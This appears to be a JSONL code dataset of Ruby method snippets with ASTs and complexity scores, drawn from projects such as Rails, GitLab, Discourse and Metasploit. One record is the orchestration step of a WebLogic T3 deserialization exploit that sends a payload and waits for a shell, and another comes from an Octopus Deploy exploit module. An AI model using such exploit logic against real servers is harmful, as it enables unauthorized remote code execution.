{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/misc/weblogic_deserialize.rb","start_line":347,"raw_source":"def exploit\n    @met_sent = []\n    gen_resp\n\n    connect\n    vprint_status('Sending handshake...')\n    t3_handshake\n\n    build_t3_request_object\n\n    start_service\n\n    print_status('Sending client object payload...')\n    send_payload_objdata\n\n    # Need to wait this long to make sure we get a shell back\n    sleep(10)\n  end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@met_sent\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"gen_resp\"]},{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Sending handshake...\"]}]},{\"type\":\"send\",\"children\":[null,\"t3_handshake\"]},{\"type\":\"send\",\"children\":[null,\"build_t3_request_object\"]},{\"type\":\"send\",\"children\":[null,\"start_service\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending client object payload...\"]}]},{\"type\":\"send\",\"children\":[null,\"send_payload_objdata\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"int\",\"children\":[10]}]}]}]}","id":"52711331-e827-4639-8b2c-dad7a1eb6a97"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/service_template_provision_task.rb","start_line":198,"raw_source":"def after_ae_delivery(ae_result)\n    _log.info(\"ae_result=#{ae_result.inspect}\")\n    reload\n\n    return if ae_result == 'retry'\n    return if miq_request.state == 'finished'\n\n    if ae_result == 'ok'\n      update_and_notify_parent(:state => \"finished\", :status => \"Ok\", :message => display_message(\"#{request_class::TASK_DESCRIPTION} completed\"))\n    else\n      mark_pending_items_as_finished\n      update_and_notify_parent(:state => \"finished\", :status => \"Error\", :message => display_message(\"#{request_class::TASK_DESCRIPTION} failed\"))\n    end\n  end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"after_ae_delivery\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ae_result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ae_result=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_result\"]},\"inspect\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reload\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_result\"]},\"==\",{\"type\":\"str\",\"children\":[\"retry\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_request\"]},\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ae_result\"]},\"==\",{\"type\":\"str\",\"children\":[\"ok\"]}]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Ok\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"display_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]},{\"type\":\"str\",\"children\":[\" completed\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mark_pending_items_as_finished\"]},{\"type\":\"send\",\"children\":[null,\"update_and_notify_parent\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"str\",\"children\":[\"finished\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"str\",\"children\":[\"Error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"display_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request_class\"]},\"TASK_DESCRIPTION\"]}]},{\"type\":\"str\",\"children\":[\" failed\"]}]}]}]}]}]}]}]}]}]}","id":"e4840bc1-b1da-4870-8db2-2347416257db"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/application_controller.rb","start_line":404,"raw_source":"def bust_content_change_caches\n    EdgeCache::Bust.call(CONTENT_CHANGE_PATHS)\n    Settings::General.admin_action_taken_at = Time.current # Used as cache key\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"bust_content_change_caches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EdgeCache\"]},\"Bust\"]},\"call\",{\"type\":\"const\",\"children\":[null,\"CONTENT_CHANGE_PATHS\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Settings\"]},\"General\"]},\"admin_action_taken_at=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]}]}","id":"159c5bdb-e8fc-4a86-af92-dc97a4551b8d"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/rails/generators/test_unit/channel_generator.rb","start_line":12,"raw_source":"def create_test_files\n        template \"channel_test.rb\", File.join(\"test/channels\", class_path, \"#{file_name}_channel_test.rb\")\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_test_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"channel_test.rb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"test/channels\"]},{\"type\":\"send\",\"children\":[null,\"class_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"file_name\"]}]},{\"type\":\"str\",\"children\":[\"_channel_test.rb\"]}]}]}]}]}","id":"09e69272-fda0-4f05-a1b9-69b491b60eb9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/activity.rb","start_line":57,"raw_source":"def user_blocked!\n        self.class.user_blocked_counter_increment!\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"user_blocked!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"user_blocked_counter_increment!\"]}]}","id":"38f5da8b-7985-48ac-abff-3714edeef57d"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/rack/urlmap.rb","start_line":81,"raw_source":"def casecmp?(v1, v2)\n      # if both nil, or they're the same string\n      return true if v1 == v2\n\n      # if either are nil... (but they're not the same)\n      return false if v1.nil?\n      return false if v2.nil?\n\n      # otherwise check they're not case-insensitive the same\n      v1.casecmp(v2).zero?\n    end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"casecmp?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v1\"]},{\"type\":\"arg\",\"children\":[\"v2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v1\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"v2\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v1\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v2\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v1\"]},\"casecmp\",{\"type\":\"lvar\",\"children\":[\"v2\"]}]},\"zero?\"]}]}]}","id":"f4c735dc-1f65-4702-8a35-26b9b4f8ee58"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/action_dispatch/session/discourse_cookie_store.rb","start_line":27,"raw_source":"def session_has_changed?(request, session)\n    _, original_session = load_session(request)\n    new_session = session.to_hash\n    original_session != new_session\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"session_has_changed?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]},{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"original_session\"]}]},{\"type\":\"send\",\"children\":[null,\"load_session\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_session\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"to_hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"original_session\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"new_session\"]}]}]}]}","id":"3faf22e1-e661-4680-a7fe-6c8a83abfe5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/merge_request_from_fork.rb","start_line":52,"raw_source":"def api_post_body\n        super.merge({\n          target_project_id: project.id,\n          source_branch: fork.default_branch,\n          target_branch: project.default_branch\n        })\n      end","complexity_score":8.8,"ast_json":"{\"type\":\"def\",\"children\":[\"api_post_body\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fork\"]},\"default_branch\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]}]}]}]}","id":"1af470b7-dda2-4a95-9a11-96f499845953"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/widget/contacts_controller.rb","start_line":12,"raw_source":"def set_user\n    contact = nil\n\n    if a_different_contact?\n      @contact_inbox, @widget_auth_token = build_contact_inbox_with_token(@web_widget)\n      contact = @contact_inbox.contact\n    else\n      contact = @contact\n    end\n\n    @contact_inbox.update(hmac_verified: true) if should_verify_hmac? && valid_hmac?\n\n    identify_contact(contact)\n  end","complexity_score":17.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"a_different_contact?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@contact_inbox\"]},{\"type\":\"ivasgn\",\"children\":[\"@widget_auth_token\"]}]},{\"type\":\"send\",\"children\":[null,\"build_contact_inbox_with_token\",{\"type\":\"ivar\",\"children\":[\"@web_widget\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"contact\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"contact\",{\"type\":\"ivar\",\"children\":[\"@contact\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"should_verify_hmac?\"]},{\"type\":\"send\",\"children\":[null,\"valid_hmac?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact_inbox\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hmac_verified\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"identify_contact\",{\"type\":\"lvar\",\"children\":[\"contact\"]}]}]}]}","id":"d528f155-a98a-49d8-979d-131088d19f33"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/octopusdeploy_deploy.rb","start_line":303,"raw_source":"def check_result_status(res, request_path, nice_name)\n    if !res || res.code < 200 || res.code >= 300\n      req_name = nice_name || 'Request'\n      fail_with(Failure::UnexpectedReply, \"#{req_name} failed #{request_path} [#{res.code} #{res.message}]\")\n    end\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_result_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"res\"]},{\"type\":\"arg\",\"children\":[\"request_path\"]},{\"type\":\"arg\",\"children\":[\"nice_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"<\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\">=\",{\"type\":\"int\",\"children\":[300]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req_name\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nice_name\"]},{\"type\":\"str\",\"children\":[\"Request\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req_name\"]}]},{\"type\":\"str\",\"children\":[\" failed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request_path\"]}]},{\"type\":\"str\",\"children\":[\" [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"message\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]},null]}]}","id":"035b4f9f-1cd7-4425-b0af-c260a4665c1b"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/global_roles/mock_global_permissions.rb","start_line":69,"raw_source":"def unregister\n    @permissions.each do |name, _options|\n      unless translation_already_registered?(name)\n        I18n.backend.store_translations(:en, \"permission_#{name}\": name.humanize)\n      end\n    end\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unregister\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"_options\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"translation_already_registered?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"backend\"]},\"store_translations\",{\"type\":\"sym\",\"children\":[\"en\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"permission_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"humanize\"]}]}]}]}]}]}]}","id":"e557468b-e618-47f3-a23e-74289c1f8852"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/aggregations_test.rb","start_line":115,"raw_source":"def test_nil_return_from_converter_is_respected_when_allow_nil_is_true\n    customers(:david).non_blank_gps_location = \"\"\n    customers(:david).save\n    customers(:david).reload\n    assert_nil customers(:david).non_blank_gps_location\n  ensure\n    Customer.gps_conversion_was_run = nil\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_nil_return_from_converter_is_respected_when_allow_nil_is_true\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"non_blank_gps_location=\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"save\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"reload\"]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"customers\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"non_blank_gps_location\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Customer\"]},\"gps_conversion_was_run=\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"ac6e78e1-b382-4136-adea-8fa2613463bb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/trace.rb","start_line":75,"raw_source":"def exist?\n        archived? || live?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exist?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"archived?\"]},{\"type\":\"send\",\"children\":[null,\"live?\"]}]}]}","id":"aa5ffcdf-c746-43e8-81b4-9918a906c96e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240702072517_add_packages_debian_group_architectures_group_id_fk.rb","start_line":11,"raw_source":"def down\n    with_lock_retries do\n      remove_foreign_key :packages_debian_group_architectures, column: :group_id\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"packages_debian_group_architectures\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"group_id\"]}]}]}]}]}]}","id":"1450b59e-e300-4398-8a9f-aae48b9d9e97"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-patreon/plugin.rb","start_line":149,"raw_source":"def callback_url\n    full_host + script_name + callback_path\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"callback_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"full_host\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"script_name\"]}]},\"+\",{\"type\":\"send\",\"children\":[null,\"callback_path\"]}]}]}","id":"207ef6b1-bf5b-4719-8dad-b7e0457de708"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/atlassian/jira_connect/client.rb","start_line":196,"raw_source":"def user_notes_count(merge_requests)\n        return unless merge_requests\n\n        Note.count_for_collection(merge_requests.map(&:id), 'MergeRequest').to_h do |count_group|\n          [count_group.noteable_id, count_group.count]\n        end\n      end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"user_notes_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_requests\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_requests\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Note\"]},\"count_for_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merge_requests\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"MergeRequest\"]}]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count_group\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count_group\"]},\"noteable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count_group\"]},\"count\"]}]}]}]}]}","id":"967f057e-71c6-41d4-9f62-317c6db40c55"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/packages/group_or_project_package_finder.rb","start_line":29,"raw_source":"def base\n      if project?\n        project_packages\n      elsif group?\n        group_packages\n      else\n        packages_class.none\n      end\n    end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"base\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project?\"]},{\"type\":\"send\",\"children\":[null,\"project_packages\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"group?\"]},{\"type\":\"send\",\"children\":[null,\"group_packages\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"packages_class\"]},\"none\"]}]}]}]}","id":"5da3fd60-3278-442a-adda-710c1e0b4eea"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/html/parser.rb","start_line":101,"raw_source":"def add_fullscreen_button_to_panel\n      on_title = I18n.t(\"services.html.parser.enter_fullscreen_mode\")\n      on_cls = \"highlight-action crayons-icon highlight-action--fullscreen-on\"\n      icon_fullscreen_on = inline_svg_tag(\n        \"fullscreen-on.svg\", class: on_cls, title: on_title, width: \"20px\", height: \"20px\"\n      )\n      off_title = I18n.t(\"services.html.parser.exit_fullscreen_mode\")\n      off_cls = \"highlight-action crayons-icon highlight-action--fullscreen-off\"\n      icon_fullscreen_off = inline_svg_tag(\n        \"fullscreen-off.svg\", class: off_cls, title: off_title, width: \"20px\", height: \"20px\"\n      )\n      doc = Nokogiri::HTML.fragment(@html)\n      doc.search(\"div.highlight__panel\").each do |codeblock|\n        fullscreen_action = <<~HTML\n          <div class=\"highlight__panel-action js-fullscreen-code-action\">\n              #{icon_fullscreen_on}\n              #{icon_fullscreen_off}\n          </div>\n        HTML\n\n        codeblock.add_child(fullscreen_action)\n      end\n\n      @html = doc.to_html\n\n      self\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"add_fullscreen_button_to_panel\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"on_title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.html.parser.enter_fullscreen_mode\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"on_cls\",{\"type\":\"str\",\"children\":[\"highlight-action crayons-icon highlight-action--fullscreen-on\"]}]},{\"type\":\"lvasgn\",\"children\":[\"icon_fullscreen_on\",{\"type\":\"send\",\"children\":[null,\"inline_svg_tag\",{\"type\":\"str\",\"children\":[\"fullscreen-on.svg\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"on_cls\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"on_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"str\",\"children\":[\"20px\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"str\",\"children\":[\"20px\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"off_title\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"services.html.parser.exit_fullscreen_mode\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"off_cls\",{\"type\":\"str\",\"children\":[\"highlight-action crayons-icon highlight-action--fullscreen-off\"]}]},{\"type\":\"lvasgn\",\"children\":[\"icon_fullscreen_off\",{\"type\":\"send\",\"children\":[null,\"inline_svg_tag\",{\"type\":\"str\",\"children\":[\"fullscreen-off.svg\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"lvar\",\"children\":[\"off_cls\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"lvar\",\"children\":[\"off_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"width\"]},{\"type\":\"str\",\"children\":[\"20px\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"height\"]},{\"type\":\"str\",\"children\":[\"20px\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"HTML\"]},\"fragment\",{\"type\":\"ivar\",\"children\":[\"@html\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"search\",{\"type\":\"str\",\"children\":[\"div.highlight__panel\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"codeblock\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fullscreen_action\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<div class=\\\"highlight__panel-action js-fullscreen-code-action\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon_fullscreen_on\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"icon_fullscreen_off\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"</div>\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"codeblock\"]},\"add_child\",{\"type\":\"lvar\",\"children\":[\"fullscreen_action\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@html\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"to_html\"]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"65e1d626-c1a6-460e-a933-fd5882c8b701"}
